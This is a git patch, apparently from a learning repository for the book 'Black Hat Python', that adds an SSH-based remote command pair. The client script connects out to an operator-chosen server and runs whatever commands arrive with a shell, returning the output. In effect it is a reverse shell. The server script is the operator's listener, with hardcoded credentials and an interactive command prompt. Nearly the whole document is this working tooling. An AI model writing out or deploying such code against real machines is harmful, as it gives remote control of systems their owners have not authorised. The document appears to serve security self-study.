From 7c6f49931990396380934372e31883e117e1c578 Mon Sep 17 00:00:00 2001 From: Dhanush Date: Wed, 19 Jun 2024 14:41:02 +0000 Subject: [PATCH] ssh windows client and ssh server --- Black Hat Python/chapter_02/README.md | 8 +++ Black Hat Python/chapter_02/ssh_rcmd.py | 37 +++++++++++++ Black Hat Python/chapter_02/ssh_server.py | 66 +++++++++++++++++++++++ 3 files changed, 111 insertions(+) create mode 100644 Black Hat Python/chapter_02/ssh_rcmd.py create mode 100644 Black Hat Python/chapter_02/ssh_server.py diff --git a/Black Hat Python/chapter_02/README.md b/Black Hat Python/chapter_02/README.md index 917d254..7deb9bd 100644 --- a/Black Hat Python/chapter_02/README.md +++ b/Black Hat Python/chapter_02/README.md @@ -24,6 +24,14 @@ sudo python3 proxy.py 127.0.0.1 21 ftp.sun.ac.za 21 True ### ssh_cmd.py +Script to run Linux Client over SSH ``` python3 ssh_cmd.py +``` + +### ssh_rcmd.py + +Script to run Windows Client over SSH +``` +python3 ssh_rcmd.py ``` \ No newline at end of file diff --git a/Black Hat Python/chapter_02/ssh_rcmd.py b/Black Hat Python/chapter_02/ssh_rcmd.py new file mode 100644 index 0000000..d7e1b58 --- /dev/null +++ b/Black Hat Python/chapter_02/ssh_rcmd.py @@ -0,0 +1,37 @@ +import paramiko +import shlex +import subprocess +import getpass + +# Code has to be run on windows machine + +def ssh_command(ip, port, user, passwd, command): + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(ip, port=port, username=user, password=passwd) + + ssh_session = client.get_transport().open_session() + if ssh_session.active: + ssh_session.send(command) + print(ssh_session.recv(1024).decode()) + + while True: + command = ssh_session.recv(1024) + try: + cmd = command.decode() + if cmd == 'exit': + client.close() + break + cmd_output = subprocess.check_output(shlex.split(cmd), shell=True) + ssh_session.send(cmd_output or 'okay') + except Exception as e: + ssh_session.send(str(e)) + client.close() + return + +if __name__ == '__main__': + user = getpass.getuser() + password = getpass.getpass() + ip = input('Enter server IP: ') + port = input('Enter port: ') + ssh_command(ip, port, user, password, 'ClientConnected') \ No newline at end of file diff --git a/Black Hat Python/chapter_02/ssh_server.py b/Black Hat Python/chapter_02/ssh_server.py new file mode 100644 index 0000000..b51ce67 --- /dev/null +++ b/Black Hat Python/chapter_02/ssh_server.py @@ -0,0 +1,66 @@ +import os +import paramiko +import socket +import sys +import threading + +CWD = os.path.dirname(os.path.realpath(__file__)) +HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key')) + +class Server(paramiko.ServerInterface): + def __init__(self): + self.event = threading.Event() + + def check_channel_request(self, kind, chanid): + if kind == 'session': + return paramiko.OPEN_SUCCEEDED + return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED + + def check_auth_password(self, username, password): + if (username == 'tim') and (password == 'sekret'): + return paramiko.AUTH_SUCCESSFUL + return paramiko.AUTH_FAILED + +if __name__ == '__main__': + server = input('Enter server IP: ') + ssh_port = int(input('Enter SSH port: ')) + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((server, ssh_port)) + sock.listen(100) + print('[+] Listening for connection ...') + client, addr = sock.accept() + except Exception as e: + print('[-] Listen failed: ' + str(e)) + sys.exit(1) + else: + print('[+] Got a connection!', client, addr) + bhSession = paramiko.Transport(client) + bhSession.add_server_key(HOSTKEY) + server = Server() + bhSession.start_server(server=server) + + chan = bhSession.accept(20) + if chan is None: + print('*** No channel.') + sys.exit(1) + print('[+] Authenticated!') + print(chan.recv(1024).decode()) + chan.send('Welcome to bh_ssh') + + try: + while True: + command = input("Enter command: ") + if command != 'exit': + chan.send(command) + r = chan.recv(8192) + print(r.decode()) + else: + chan.send('exit') + print('exiting') + bhSession.close() + break + except KeyboardInterrupt: + bhSession.close() \ No newline at end of file